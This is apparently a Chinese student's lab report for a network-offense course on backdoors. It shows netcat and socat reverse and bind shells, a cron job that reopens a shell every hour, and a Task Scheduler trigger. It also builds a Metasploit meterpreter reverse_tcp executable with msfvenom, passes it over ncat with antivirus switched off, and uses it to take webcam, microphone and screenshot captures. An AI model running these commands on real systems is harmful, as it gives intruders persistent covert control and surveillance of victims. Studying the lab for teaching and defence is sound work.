2018-2019-2 20165114《网络对抗技术》Exp2 后门原理与实践
目录
一、实验准备
二、实验内容
三、基础问题回答
四、实验过程及步骤
五、实验总结与体会
六、实验中遇到的问题与错误。
一、实验准备
1、后门概念
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
一个相对狭义一点的后门的概念:
- 特指潜伏于操作系统中专门做后门的一个程序,
- “坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
后门成功的几个必要步骤:
- 首先得有这么一个程序
- 其次得放到系统里
- 再次还得运行起来
- 最后还得不被本机的恶意代码检测程序发现
- 也不能被本机的或网络上的防火墙发现
二、实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
三、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 当从浏览器中下载文件或者某软件时,经常有捆绑软件被默认勾选,其中可能就会有带有后门的盗版软件或者安装包,可能会在下载过程中下载后门代码。
- 或者当你点击一个陌生的链接,可能会执行下载的操作,下载一个后门程序到系统中。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Windows
- 通过任务计划程序。
- 将后门的程序设置为开机启动,开机即会启动。
- 与其余的应用程序或者文件等捆绑起来,只要执行这个应用程序,后门就会启动。
- Linux
- 利用cron启动,比如程序代码写入每天的凌晨2执行该后门程序。
- 与其余应用程序或者文件等捆绑启动。
(3)Meterpreter有哪些给你映像深刻的功能?
- Meterpreter可以成功控制被害主机,获得shell,可完成一系列强大的操作。
- 还可以打开被害主机的摄像头,拍照、录像、截屏等都可以轻松做到。
(4)如何发现自己系统有没有被安装后门?
安装杀毒软件,为系统查杀病毒或者恶意代码,许多杀毒软件都可以检测出后门脚本。
四、实验过程及步骤
4.1 Netcat
4.1.1使用netcat获取主机操作Shell
**Window10获取Linux的shell**
(1)从实验指导中下载压缩包ncat.rar
,并解压,即可使用。
(2)在win10的命令提示符中输入命令ipconfig
查看window10的IP地址。
(3)接着输入命令cd ncat
---> ncat.exe -l -p 5114
,win10打开监听,端口为5114。
(4)在Linux中输入命令nc 192.168.1.173 -e /bin/sh
,反弹连接win10.此时的IP地址为win10的IP地址。
(5)win获得一个人linux shell,可运行任何指令。如下图:
4.1.2 cron启动。
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
(1)windows系统下监听端口5114.
(2)Linux系统下,输入指令crontab -e
,crontab指令表示增加一条定时任务,"-e"表示编辑。由于是第一次编辑,故提示选择编辑器,选择3
,进入编辑模式。
(3)在最后一行加上55 * * * * /bin/netcat 192.168.1.173 5114 -e /bin/sh
,表示每个小时的第55分钟执行后面的那条指令。
(4)这是一个反弹连接式后门,linux在55分钟时连接Windows,监听的windows连接后可获得shell。
4.1.3 使用netcat传输数据。
(1)windows开启监听:ncat.exe -l 5114
(2)linux 连接win10的5114端口:nc 192.168.1.173 5114
(3)建立连接后,就能够成功传输数据啦~ 如下图:
4.2 Socat
4.2.1使用socat获取主机操作Shell, 任务计划启动
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版.
(1)在windows10中打开控制面板
,查看方式选择大图标
,点击管理工具
。
(2)找到任务计划程序
,打开。
(3)点击右侧的创建任务
,填入名称20165114
。
(4)新建触发器,开始任务处,选择工作站锁定时
。
(5)程序或脚本选择socat.exe
,添加参数````tcp-listen:1651 exec:cmd.exe:,pty,stderr.将
cmd.exe绑定到端口
1651```上,同时把cmd.exe的stderr重定向到stdout上,点击确定保存。
(6)可以在上面看到名称为20165114
的任务,右键,点击运行
,出现一个黑色的弹窗。
(7)在linux的shell中输入指令socat - tcp:172.30.6.18:1651
,可以成功获得cmd.exe。
4.3 Meterpreter
后门就是一个程序。传统的理解是:有人编写一个后门程序,大家拿来用。后来有一些牛人呢,就想编写一个平台能生成后门程序。
这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
4.3.1使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter。
(1)输入ifconfig
查看Linux的IP地址,为172.30.6.19
。
(2)使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.6.19 LPORT=5114 -f exe > 20165114_backdoor.exe
生成一个可执行文件。
参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中-e 使用的编码器,用于对shellcode变形,为了免杀
-i 编码器的迭代次数。如上即使用该编码器编码5次
-b badchar是payload中需要去除的字符
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
(3)将文件20165114_backdoor.exe复制到Windows10中,可以用netcat将文件传送给Windows10,也可以直接复制试试。
如果使用netcat传送文件20165114_backdoor.exe需要以下几个步骤:
- 在Windows下执行:
ncat.exe -l 5114 > 20165114_backdoor.exe
,接受文件。 - 接下来在linux中执行:
nc 192.168.1.173 < 20165114_backdoor.exe
,(IP地址为win10 的IP)。 - 稍等片刻即可成功。
- 在Windows下执行:
但是Windows10中的杀毒软件会发现并将其删除掉,因为它是个后门程序,我们可以暂时关闭杀毒软件,继续执行。
下图为通过ncat传输成功的文件20165114_backdoor.exe。
4.3.2打开监听进程。
(1)在linux shell中输入msfconsole
指令
(2)按照次序输入以下指令,打开监听进程。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.30.6.19
//注意此处应为Linux的IP!
set LPORT 5114
//5114为端口号
show options
exploit
注意:
LHOST需要和上一步生成backdoor.exe的一致,本例中即172.30.6.19;
LPORT也需要和上一步生成backdoor.exe的一致,即5114;
payload也要一致,即windows/meterpreter/reverse_tcp。
4.3.3在win10中双击20165114_backdoor.exe运行,主动连接。之后成功控制win10!
4.3.4 接下来可以获取目标主机的音频、摄像头等内容,并尝试提权。
(1)得到目标主机的截屏:srceenshot
.
(2)使用目标主机的摄像头拍照:webcam_snap
.
(3)使用摄像头录像:webcam_stream
.
(4)录音:record_mic
.
最后图片和音频等保存在linux中,如下图:
提权尝试,但是没有成功,原因还在寻找中~
五、实验总结与体会
- 此次实验通过一个简单的后门实验,让感受到了后门的危害性极强。通过后门和一些恶意软件等,攻击者能够控制我们的电脑,窃取里面的信息等等,受害者毫不知情,黑客就得到了目标主机的控制权。目前的各个手机公司、软件公司等等都拥有这种能力,所以如何防范这类事情的发生也是值得思考的一件事情,利用我们所学的原理和技能,从另一个角度出发,学会发现和阻止后门或许才是我们应该学到的东西吧。
- 在实践的过程中,我也发现自己的基础知识不够扎实,很多地方的步骤都是根据实践指导和学长学姐的博客来完成的,遇到问题无法继续时,较为被动和易沮丧,没有能够自主独立解决问题的能力。但是在不断地实践中,我也发觉了对于后门原理更加理解了,遇到错误虽然觉得自己很菜但是也在同学的帮助下最终解决了,总之还是受益匪浅吧。无法解决遇到的一些问题,我认为还是对原理和计算机基础知识不够了解,不能从原理出发解决问题。
六、实验中遇到的问题与错误。
错误一:
在使用socat获取shell过程中,出现上图的报错,后来我更改了端口号,由5114
改为了1651
,5151
等,在我多次尝试后,有时候能成功,但有时候也会仍然报错。如果遇到这种错误,可以试试重启或者换个端口号试试~
错误二:
在输入exploit后,发生handler failed to bind to 170.30.1.119:5114
的错误,这是由于我的linux虚拟机IP地址为170.30.1.119
,而windows的IP地址为170.30.6.18
,两者不在一个网段里,只要对linux的IP地址进行修改,使其为170.30.6.*
,再重新试一次即可成功。
下面为解决方案的截图:
手动修改下图的文件后,再进行重启,就会发现IP地址变为我们想要的了~
2018-2019-2 20165114《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- ASP.NET常见内置对象(一)
在web开发中,数据库都是通过HTTP协议来传输的.但HTTP是一个无状态协议,不会保留数据的状态和信息. 为了解决问题.各种开发语言都提供了状态管理功能. 状态管理是在同一页或不同页的多个请求发生时 ...
- MYSQL批量插入数据库实现语句性能分析【转】 批量插入!程序里面对于数据库插入的功能尽量用【异步处理+批量插入+(事务)】
假定我们的表结构如下 代码如下 CREATE TABLE example (example_id INT NOT NULL,name VARCHAR( 50 ) NOT NULL,value VA ...
- 细说多线程之Thread VS Runnable
[线程创建的两种方式] [线程的生命周期] ● 就绪:创建了线程对象后,调用了线程的start(). (注意:此时线程只是进入了线程队列,等待获取CPU服务,具备了运行的条件,但并不一定已经开始运行了 ...
- win10下Import caffe时出现“ImportError: No module named google.protobuf.internal”的解决办法
解决方法:只要出现和protobuf相关的错误,只要在cmd中输入pip install protobuf,然后等待安装完成即可. ps:这时,可能会出现"pip 不是内部命令"之 ...
- Django - 环境搭建、url、视图、模板、标签、过滤器
(一).简介 简介就不多说了,网上的内容一大堆.总结来说,django是走大而全的路线,写项目超级快,几乎什么都为你考虑到了,你就乖乖照着它的格式来写就行了. 这里来一些基本认知: web应用框架(w ...
- 第一只python爬虫
import urllib.request response = urllib.request.urlopen("http://www.baidu.com") html = res ...
- Python 日志模块的定制
Python标准logging模块中主要分为四大块内容: Logger: 定义应用程序使用的接口 Handler: 将Loggers产生的日志输出到目的地 Filter: 对Loggers产生的日志进 ...
- 170223、Tomcat部署时war和war exploded区别以及平时踩得坑
war和war exploded的区别 在使用IDEA开发项目的时候,部署Tomcat的时候通常会出现下边的情况: 是选择war还是war exploded 这里首先看一下他们两个的区别: war模式 ...
- 将list集合,元素随机打乱
for循环+随机数 实现相同位置的元素交换 public <T> void shuffle(List<T> list) { int size = list.size(); Ra ...
- 18.android studio 安装ing
1.首先得FQ,在谷歌中搜索android studio 2.安装时出现的问题. a. 解决方法,重启电脑,进入Bios,找到并将值设置为 :Intel Virtual Technology=Enab ...